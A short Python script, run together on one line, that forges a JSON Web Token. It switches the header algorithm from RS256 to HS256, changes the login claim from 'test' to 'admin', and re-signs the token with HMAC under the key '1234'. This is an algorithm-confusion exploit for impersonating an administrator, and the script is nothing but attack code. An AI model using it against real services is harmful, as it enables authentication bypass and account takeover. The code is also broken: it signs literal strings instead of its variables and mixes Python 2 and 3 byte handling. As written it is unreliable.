import base64 import hmac import hashlib key="1234" current_jwt_token="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsb2dpbiI6InRlc3QifQ.13ZuaPDcrWqKWF7PxX66ULUmw89GwZhAB-ZrIw_vN_V4w8Mzt4TkFQeqeJKc2R4rcU21jUahqqQ6KzG-_NMxDkqjJ_tXUZr4souGXq5JJOp9GS5bkNV3PMI0GjExZtJ1Mc4vEVxWc0z5DZ_Q3ldMr5ognJyDlYqOaVilth9x-k1cp-kY8-q7VvF9UedE20UkbvYjrN0Etood1W-AmqgLp_2NrdgeTo6_2VGkfYMAFupJTQokR2HSvQvPyyK-6hnPBbj04BSbjV2AepX5zeFSchDGbEPWpacLmdQq7UPmefRGsQid99VQFKRzBnnEfrpvuGvGPGuoGpwWuFPhlc-lcw" header, payload, signature = current_jwt_token.split('.') #replace the algorithim with HS256 old_header=(base64.b64decode(header)) new_header=str(old_header.replace("RS256","HS256")) #change the payload test to admin in the current_jwt_token old_payload=(base64.b64decode(payload+"==")) new_payload=str(old_payload.replace("test","admin")) new_payload=base64.b64encode(new_payload).replace('=','') #find unsigned token unsignedtoken=base64.b64encode(new_header) + "." + new_payload unsignedtoken=str(unsignedtoken) message = bytes("unsignedtoken").encode('utf-8') secret = bytes("key").encode('utf-8') #calculate signature signature = base64.b64encode(hmac.new(secret, message, digestmod=hashlib.sha256).digest()) #new jet token with admin as payload final_jwt_token=unsignedtoken + "." + signature print(final_jwt_token)